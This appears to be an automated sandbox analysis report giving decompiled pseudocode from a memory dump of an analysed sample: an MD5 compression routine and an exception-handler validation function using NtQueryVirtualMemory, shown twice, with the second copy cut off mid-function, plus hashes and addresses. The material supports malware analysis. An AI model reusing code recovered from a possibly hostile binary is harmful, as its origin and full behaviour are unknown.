				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t274;
				signed int _t337;
				void* _t347;
				signed int _t348;
				signed int _t350;
				signed int _t352;
				signed int _t354;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t366;
				signed int _t375;
				signed int _t377;
				signed int _t379;
				signed int _t381;
				signed int _t383;
				intOrPtr* _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t417;
				signed int _t419;
				signed int _t421;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t443;
				signed int _t445;
				void* _t447;
				signed int _t507;
				signed int _t598;
				signed int _t606;
				signed int _t612;
				signed int _t678;
				signed int* _t681;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				signed int _t691;
				signed int _t696;
				signed int _t698;
				signed int _t717;
				signed int _t719;
				signed int _t721;
				signed int _t723;
				signed int _t725;
				signed int _t727;
				signed int _t733;
				signed int _t739;
				signed int _t741;
				signed int _t743;
				signed int _t745;
				signed int _t747;

				_t226 = _a4;
				_t347 = __ecx + 2;
				_t681 =  &_v76;
				_t447 = 0x10;
				do {
					_t274 =  *(_t347 - 1) & 0x000000ff;
					_t347 = _t347 + 4;
					 *_t681 = (0 << 0x00000008 | _t274) << 0x00000008 |  *(_t347 - 6) & 0x000000ff;
					_t681 =  &(_t681[1]);
					_t447 = _t447 - 1;
				} while (_t447 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t682 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t407 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t348 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t682 & _t348 | _t407 & _t682) + _v76 +  *_t226 - 0x28955b88 + _t682;
				asm("rol ecx, 0xc");
				_t350 = ( !_t229 & _t407 | _t682 & _t229) + _v72 + _t348 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t409 = ( !_t350 & _t682 | _t350 & _t229) + _v68 + _t407 + 0x242070db + _t350;
				asm("ror esi, 0xa");
				_t684 = ( !_t409 & _t229 | _t350 & _t409) + _v64 + _t682 - 0x3e423112 + _t409;
				_v8 = _t684;
				_t689 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t684 & _t350 | _t409 & _v8) + _v60 + _t229 - 0xa83f051 + _t689;
				asm("rol ecx, 0xc");
				_t352 = ( !_t231 & _t409 | _t689 & _t231) + _v56 + _t350 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t411 = ( !_t352 & _t689 | _t352 & _t231) + _v52 + _t409 - 0x57cfb9ed + _t352;
				asm("ror esi, 0xa");
				_t691 = ( !_t411 & _t231 | _t352 & _t411) + _v48 + _t689 - 0x2b96aff + _t411;
				_v8 = _t691;
				_t696 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t691 & _t352 | _t411 & _v8) + _v44 + _t231 + 0x698098d8 + _t696;
				asm("rol ecx, 0xc");
				_t354 = ( !_t233 & _t411 | _t696 & _t233) + _v40 + _t352 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t413 = ( !_t354 & _t696 | _t354 & _t233) + _v36 + _t411 - 0xa44f + _t354;
				asm("ror esi, 0xa");
				_t698 = ( !_t413 & _t233 | _t354 & _t413) + _v32 + _t696 - 0x76a32842 + _t413;
				_v8 = _t698;
				asm("rol eax, 0x7");
				_t235 = ( !_t698 & _t354 | _t413 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t356 = ( !_t235 & _t413 | _v8 & _t235) + _v24 + _t354 - 0x2678e6d + _t235;
				_t507 =  !_t356;
				asm("ror edx, 0xf");
				_t415 = (_t507 & _v8 | _t356 & _t235) + _v20 + _t413 - 0x5986bc72 + _t356;
				_v12 = _t415;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t717 = (_v12 & _t235 | _t356 & _t415) + _v16 + _v8 + 0x49b40821 + _t415;
				asm("rol eax, 0x5");
				_t237 = (_t507 & _t415 | _t356 & _t717) + _v72 + _t235 - 0x9e1da9e + _t717;
				asm("rol ecx, 0x9");
				_t358 = (_v12 & _t717 | _t415 & _t237) + _v52 + _t356 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t417 = ( !_t717 & _t237 | _t358 & _t717) + _v32 + _t415 + 0x265e5a51 + _t358;
				asm("ror esi, 0xc");
				_t719 = ( !_t237 & _t358 | _t417 & _t237) + _v76 + _t717 - 0x16493856 + _t417;
				asm("rol eax, 0x5");
				_t239 = ( !_t358 & _t417 | _t358 & _t719) + _v56 + _t237 - 0x29d0efa3 + _t719;
				asm("rol ecx, 0x9");
				_t360 = ( !_t417 & _t719 | _t417 & _t239) + _v36 + _t358 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t419 = ( !_t719 & _t239 | _t360 & _t719) + _v16 + _t417 - 0x275e197f + _t360;
				asm("ror esi, 0xc");
				_t721 = ( !_t239 & _t360 | _t419 & _t239) + _v60 + _t719 - 0x182c0438 + _t419;
				asm("rol eax, 0x5");
				_t241 = ( !_t360 & _t419 | _t360 & _t721) + _v40 + _t239 + 0x21e1cde6 + _t721;
				asm("rol ecx, 0x9");
				_t362 = ( !_t419 & _t721 | _t419 & _t241) + _v20 + _t360 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t421 = ( !_t721 & _t241 | _t362 & _t721) + _v64 + _t419 - 0xb2af279 + _t362;
				asm("ror esi, 0xc");
				_t723 = ( !_t241 & _t362 | _t421 & _t241) + _v44 + _t721 + 0x455a14ed + _t421;
				asm("rol eax, 0x5");
				_t243 = ( !_t362 & _t421 | _t362 & _t723) + _v24 + _t241 - 0x561c16fb + _t723;
				asm("rol ecx, 0x9");
				_t364 = ( !_t421 & _t723 | _t421 & _t243) + _v68 + _t362 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t423 = ( !_t723 & _t243 | _t364 & _t723) + _v48 + _t421 + 0x676f02d9 + _t364;
				asm("ror esi, 0xc");
				_t725 = ( !_t243 & _t364 | _t423 & _t243) + _v28 + _t723 - 0x72d5b376 + _t423;
				asm("rol eax, 0x4");
				_t245 = (_t364 ^ _t423 ^ _t725) + _v56 + _t243 - 0x5c6be + _t725;
				asm("rol ecx, 0xb");
				_t366 = (_t423 ^ _t725 ^ _t245) + _v44 + _t364 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t425 = (_t366 ^ _t725 ^ _t245) + _v32 + _t423 + 0x6d9d6122 + _t366;
				_t598 = _t366 ^ _t425;
				asm("ror esi, 0x9");
				_t727 = (_t598 ^ _t245) + _v20 + _t725 - 0x21ac7f4 + _t425;
				asm("rol eax, 0x4");
				_t247 = (_t598 ^ _t727) + _v72 + _t245 - 0x5b4115bc + _t727;
				asm("rol edi, 0xb");
				_t606 = (_t425 ^ _t727 ^ _t247) + _v60 + _t366 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t427 = (_t606 ^ _t727 ^ _t247) + _v48 + _t425 - 0x944b4a0 + _t606;
				_t337 = _t606 ^ _t427;
				asm("ror ecx, 0x9");
				_t375 = (_t337 ^ _t247) + _v36 + _t727 - 0x41404390 + _t427;
				asm("rol eax, 0x4");
				_t249 = (_t337 ^ _t375) + _v24 + _t247 + 0x289b7ec6 + _t375;
				asm("rol esi, 0xb");
				_t733 = (_t427 ^ _t375 ^ _t249) + _v76 + _t606 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t612 = (_t733 ^ _t375 ^ _t249) + _v64 + _t427 - 0x2b10cf7b + _t733;
				_t429 = _t733 ^ _t612;
				asm("ror ecx, 0x9");
				_t377 = (_t429 ^ _t249) + _v52 + _t375 + 0x4881d05 + _t612;
				asm("rol eax, 0x4");
				_t251 = (_t429 ^ _t377) + _v40 + _t249 - 0x262b2fc7 + _t377;
				asm("rol edx, 0xb");
				_t437 = (_t612 ^ _t377 ^ _t251) + _v28 + _t733 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t739 = (_t437 ^ _t377 ^ _t251) + _v16 + _t612 + 0x1fa27cf8 + _t437;
				asm("ror ecx, 0x9");
				_t379 = (_t437 ^ _t739 ^ _t251) + _v68 + _t377 - 0x3b53a99b + _t739;
				asm("rol eax, 0x6");
				_t253 = (( !_t437 | _t379) ^ _t739) + _v76 + _t251 - 0xbd6ddbc + _t379;
				asm("rol edx, 0xa");
				_t439 = (( !_t739 | _t253) ^ _t379) + _v48 + _t437 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t741 = (( !_t379 | _t439) ^ _t253) + _v20 + _t739 - 0x546bdc59 + _t439;
				asm("ror ecx, 0xb");
				_t381 = (( !_t253 | _t741) ^ _t439) + _v56 + _t379 - 0x36c5fc7 + _t741;
				asm("rol eax, 0x6");
				_t255 = (( !_t439 | _t381) ^ _t741) + _v28 + _t253 + 0x655b59c3 + _t381;
				asm("rol edx, 0xa");
				_t441 = (( !_t741 | _t255) ^ _t381) + _v64 + _t439 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t743 = (( !_t381 | _t441) ^ _t255) + _v36 + _t741 - 0x100b83 + _t441;
				asm("ror ecx, 0xb");
				_t383 = (( !_t255 | _t743) ^ _t441) + _v72 + _t381 - 0x7a7ba22f + _t743;
				asm("rol eax, 0x6");
				_t257 = (( !_t441 | _t383) ^ _t743) + _v44 + _t255 + 0x6fa87e4f + _t383;
				asm("rol edx, 0xa");
				_t443 = (( !_t743 | _t257) ^ _t383) + _v16 + _t441 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t745 = (( !_t383 | _t443) ^ _t257) + _v52 + _t743 - 0x5cfebcec + _t443;
				asm("ror edi, 0xb");
				_t678 = (( !_t257 | _t745) ^ _t443) + _v24 + _t383 + 0x4e0811a1 + _t745;
				asm("rol eax, 0x6");
				_t259 = (( !_t443 | _t678) ^ _t745) + _v60 + _t257 - 0x8ac817e + _t678;
				asm("rol edx, 0xa");
				_t445 = (( !_t745 | _t259) ^ _t678) + _v32 + _t443 - 0x42c50dcb + _t259;
				_t399 = _a4;
				asm("rol esi, 0xf");
				_t747 = (( !_t678 | _t445) ^ _t259) + _v68 + _t745 + 0x2ad7d2bb + _t445;
				 *_t399 =  *_t399 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t399 + 4)) = (( !_t259 | _t747) ^ _t445) + _v40 + _t678 - 0x14792c6f +  *((intOrPtr*)(_t399 + 4)) + _t747;
				 *((intOrPtr*)(_t399 + 8)) =  *((intOrPtr*)(_t399 + 8)) + _t747;
				 *((intOrPtr*)(_t399 + 0xc)) =  *((intOrPtr*)(_t399 + 0xc)) + _t445;
				return memset( &_v76, 0, 0x40);
			}

0x00a197f5
0x00a19800
0x00a19803
0x00a19806
0x00a19807
0x00a19807
0x00a19812
0x00a19823
0x00a19825
0x00a19828
0x00a19828
0x00a1982b
0x00a1982b
0x00a1982e
0x00a1982e
0x00a19831
0x00a19831
0x00a1984e
0x00a19851
0x00a19867
0x00a1986a
0x00a19884
0x00a19887
0x00a1989d
0x00a198a0
0x00a198a2
0x00a198ba
0x00a198bd
0x00a198c0
0x00a198d8
0x00a198db
0x00a198f5
0x00a198f8
0x00a1990e
0x00a19911
0x00a19913
0x00a1992b
0x00a19930
0x00a19933
0x00a19949
0x00a1994c
0x00a19966
0x00a19969
0x00a1997f
0x00a19982
0x00a19984
0x00a1999f
0x00a199a2
0x00a199b9
0x00a199bc
0x00a199c0
0x00a199d9
0x00a199dc
0x00a199de
0x00a199e1
0x00a199fc
0x00a199ff
0x00a19a18
0x00a19a1b
0x00a19a2b
0x00a19a2e
0x00a19a46
0x00a19a49
0x00a19a63
0x00a19a66
0x00a19a7e
0x00a19a81
0x00a19a97
0x00a19a9a
0x00a19ab2
0x00a19ab5
0x00a19acd
0x00a19ad0
0x00a19aea
0x00a19aed
0x00a19b03
0x00a19b06
0x00a19b1e
0x00a19b21
0x00a19b3b
0x00a19b3e
0x00a19b56
0x00a19b59
0x00a19b6f
0x00a19b72
0x00a19b8a
0x00a19b8d
0x00a19ba5
0x00a19ba8
0x00a19bba
0x00a19bbd
0x00a19bcf
0x00a19bd2
0x00a19be4
0x00a19be7
0x00a19beb
0x00a19bfb
0x00a19bfe
0x00a19c0c
0x00a19c0f
0x00a19c21
0x00a19c24
0x00a19c38
0x00a19c3b
0x00a19c3d
0x00a19c4d
0x00a19c50
0x00a19c62
0x00a19c65
0x00a19c73
0x00a19c76
0x00a19c88
0x00a19c8b
0x00a19c8f
0x00a19c9f
0x00a19ca2
0x00a19cb4
0x00a19cb7
0x00a19cc5
0x00a19cc8
0x00a19cda
0x00a19cdd
0x00a19cef
0x00a19cf2
0x00a19d06
0x00a19d09
0x00a19d1d
0x00a19d20
0x00a19d34
0x00a19d37
0x00a19d4b
0x00a19d4e
0x00a19d62
0x00a19d65
0x00a19d79
0x00a19d7e
0x00a19d90
0x00a19d93
0x00a19da7
0x00a19daa
0x00a19dbe
0x00a19dc1
0x00a19dd7
0x00a19dda
0x00a19dee
0x00a19df1
0x00a19e03
0x00a19e06
0x00a19e1a
0x00a19e1d
0x00a19e31
0x00a19e34
0x00a19e48
0x00a19e51
0x00a19e54
0x00a19e5d
0x00a19e66
0x00a19e6e
0x00a19e76
0x00a19e80
0x00a19e95

APIs

memset.NTDLL ref: 00A19E89

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction ID: 43fd84b89a1f4434c2c1415083d771c34f0881276f1585b998cb8cdedce6e57d
Opcode Fuzzy Hash: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction Fuzzy Hash: F222847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 00A1B341, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A1B341(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0xa1d2e0; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0xa1d328 = 1;
										__eflags =  *0xa1d328;
										if( *0xa1d328 != 0) {
											goto L60;
										}
										_t84 =  *0xa1d2e0; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0xa1d328 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0xa1d2e0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0xa1d2e8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0xa1d2e4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0xa1d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0xa1d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0xa1d328 = 1;
							__eflags =  *0xa1d328;
							if( *0xa1d328 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0xa1d2e8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0xa1d2e8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0xa1d328 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0xa1d2e8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0xa1d2e0 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0xa1d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0xa1d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x00a1b34b
0x00a1b34e
0x00a1b354
0x00a1b372
0x00000000
0x00a1b372
0x00a1b35c
0x00a1b365
0x00a1b36b
0x00a1b37a
0x00a1b37d
0x00a1b380
0x00a1b38a
0x00a1b38a
0x00a1b38c
0x00a1b38f
0x00a1b391
0x00a1b391
0x00a1b393
0x00a1b396
0x00000000
0x00000000
0x00a1b398
0x00a1b39a
0x00a1b400
0x00a1b400
0x00a1b55e
0x00000000
0x00a1b55e
0x00a1b39c
0x00a1b39c
0x00a1b3a0
0x00a1b3a2
0x00a1b3a2
0x00a1b3a2
0x00a1b3a2
0x00a1b3a5
0x00a1b3a6
0x00a1b3a9
0x00a1b3a9
0x00a1b3ad
0x00a1b3b1
0x00a1b3bf
0x00a1b3bf
0x00a1b3c7
0x00a1b3cd
0x00a1b3cf
0x00a1b3d1
0x00a1b3e1
0x00a1b3ee
0x00a1b3f2
0x00a1b3f7
0x00a1b3f9
0x00a1b477
0x00a1b477
0x00a1b3fb
0x00a1b3fb
0x00a1b3fb
0x00a1b479
0x00a1b47b
0x00a1b55c
0x00a1b55c
0x00000000
0x00a1b481
0x00a1b481
0x00a1b488
0x00000000
0x00000000
0x00a1b48e
0x00a1b492
0x00a1b4ee
0x00a1b4f0
0x00a1b4f8
0x00a1b4fa
0x00a1b4fc
0x00000000
0x00000000
0x00a1b4fe
0x00a1b504
0x00a1b506
0x00a1b508
0x00a1b51d
0x00a1b51d
0x00a1b51f
0x00a1b54e
0x00a1b555
0x00000000
0x00a1b555
0x00a1b523
0x00a1b524
0x00a1b526
0x00a1b528
0x00a1b528
0x00a1b52a
0x00a1b52c
0x00a1b52e
0x00a1b542
0x00a1b542
0x00a1b545
0x00a1b547
0x00a1b547
0x00a1b548
0x00a1b548
0x00000000
0x00a1b530
0x00a1b530
0x00a1b530
0x00a1b539
0x00a1b53a
0x00a1b53c
0x00a1b53e
0x00a1b53e
0x00000000
0x00a1b530
0x00a1b52e
0x00a1b50a
0x00a1b511
0x00a1b511
0x00a1b513
0x00000000
0x00000000
0x00a1b515
0x00a1b516
0x00a1b519
0x00a1b51b
0x00000000
0x00000000
0x00000000
0x00a1b51b
0x00000000
0x00a1b511
0x00a1b494
0x00a1b497
0x00a1b49c
0x00000000
0x00000000
0x00a1b4a5
0x00a1b4a7
0x00a1b4ad
0x00000000
0x00000000
0x00a1b4b3
0x00a1b4b9
0x00000000
0x00000000
0x00a1b4bf
0x00a1b4c1
0x00a1b4ca
0x00a1b4ce
0x00000000
0x00000000
0x00a1b4d4
0x00a1b4d7
0x00a1b4d9
0x00000000
0x00000000
0x00a1b4e0
0x00a1b4e2
0x00000000
0x00000000
0x00a1b4e4
0x00a1b4e8
0x00000000
0x00000000
0x00000000
0x00a1b4e8
0x00000000
0x00000000
0x00000000
0x00a1b3d3
0x00a1b3d3
0x00a1b3d3
0x00a1b3da
0x00000000
0x00000000
0x00a1b3dc
0x00a1b3dd
0x00a1b3df
0x00000000
0x00000000
0x00000000
0x00a1b3df
0x00a1b407
0x00a1b409
0x00000000
0x00000000
0x00a1b419
0x00a1b41b
0x00a1b41d
0x00000000
0x00000000
0x00a1b423
0x00a1b42a
0x00a1b456
0x00a1b456
0x00a1b458
0x00a1b45a
0x00a1b46e
0x00a1b470
0x00000000
0x00000000
0x00000000
0x00000000
0x00a1b45c
0x00a1b45c
0x00a1b45c
0x00a1b465
0x00a1b466
0x00a1b468
0x00a1b46a
0x00a1b46a
0x00000000
0x00a1b45c
0x00a1b42c
0x00a1b42c
0x00a1b42f
0x00a1b431
0x00a1b443
0x00a1b443
0x00a1b446
0x00a1b448
0x00a1b448
0x00a1b449
0x00a1b449
0x00a1b44f
0x00a1b44f
0x00000000
0x00000000
0x00000000
0x00000000
0x00a1b433
0x00a1b433
0x00a1b433
0x00a1b43a
0x00000000
0x00000000
0x00a1b43c
0x00a1b43c
0x00a1b43d
0x00000000
0x00000000
0x00000000
0x00a1b43d
0x00a1b43f
0x00a1b441
0x00a1b454
0x00000000
0x00000000
0x00000000
0x00a1b454
0x00000000
0x00a1b441
0x00a1b3b3
0x00a1b3b6
0x00a1b3b9
0x00000000
0x00000000
0x00a1b3bb
0x00a1b3bd
0x00000000
0x00000000
0x00000000
0x00a1b3bd
0x00a1b382
0x00a1b384
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 00A1B3F2

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: d6dbe13d2c9899731a11b38315f4c7dee38ade2cdd158ce6db8d1200b6dfed30
Instruction ID: aeb2ca8967046a9f724da02edd65d335bd402010a758768d4e1904192f896fb1
Opcode Fuzzy Hash: d6dbe13d2c9899731a11b38315f4c7dee38ade2cdd158ce6db8d1200b6dfed30
Instruction Fuzzy Hash: B36106306206159FCB29CF29C9806F973A6EB84324F24C529D866CB692E335DCC2CB64

Uniqueness

Uniqueness Score: -1.00%

Function 10002375, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002375(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x10004178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
